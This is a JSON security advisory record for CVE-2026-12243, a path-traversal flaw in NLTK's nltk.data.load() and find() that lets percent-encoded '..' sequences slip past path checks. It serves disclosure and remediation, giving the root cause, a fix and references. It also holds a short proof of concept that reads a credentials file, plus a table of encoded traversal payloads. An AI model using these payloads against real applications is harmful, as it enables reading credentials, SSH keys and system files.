{"id":"CVE-2026-12243","aliases":["GHSA-m42h-3232-vpv3","PYSEC-2026-597"],"url":"https://o3.security/vulnerability/CVE-2026-12243","summary":"Path Traversal via Percent-Encoding in nltk.data.find() and nltk.data.load()","details":"# Summary\nnltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.\n\n# Vulnerable Code\nnltk/data.py - find() function:\n url2pathname() decodes %2e%2e -> .. AFTER any safety check\np = os.path.join(path_, url2pathname(resource_name))\nif os.path.exists(p):\n    return FileSystemPathPointer(p)\n\n# Proof of Concept\nimport nltk.data\nnltk.data.path = [\"/home/user/nltk_data\"]\n%2e%2e decodes to .. via url2pathname(), escaping the data dir\ndata = nltk.data.load(\"%2e%2e/SECRET_credentials.txt\", format=\"raw\")\nprint(data)\n b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\\nDATABASE_PASS=hunter2\\n'\nAll of these bypass path checks and decode identically:\n\n# Payload\tAfter url2pathname()\n%2e%2e/secret\t../secret\n.%2e/secret\t../secret\n%2e./secret\t../secret\n%2E%2E/secret\t../secret\nRoot Cause\nurl2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.\n\n# Fix\nDecode before checking:\n\nfrom urllib.parse import unquote\nresource_name = unquote(resource_name)  # decode first, then validate\n\n# Impact\nAn attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().","published":"2026-06-30T00:14:35.370Z","modified":"2026-08-13T21:10:37.370031268Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"nltk","fixedVersion":"3.10.0"}],"fix":{"url":"https://github.com/nltk/nltk/pull/3522","label":"nltk/nltk#3522"},"references":[{"type":"WEB","url":"https://huntr.com/bounties/39aa9354-54ca-4e77-96da-580eb1fe6ed1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/12xxx/CVE-2026-12243.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12243"},{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-m42h-3232-vpv3"},{"type":"WEB","url":"https://github.com/nltk/nltk/issues/3504"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3522"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/aec4fce1b84ad725b8975f7365b23a4f626572a9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-597.yaml"},{"type":"WEB","url":"https://securityinfinity.com/research/path-traversal-in-nltks-nltk-data-load-via-percent-encoded-sequences"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-13T21:10:37.370031268Z"}}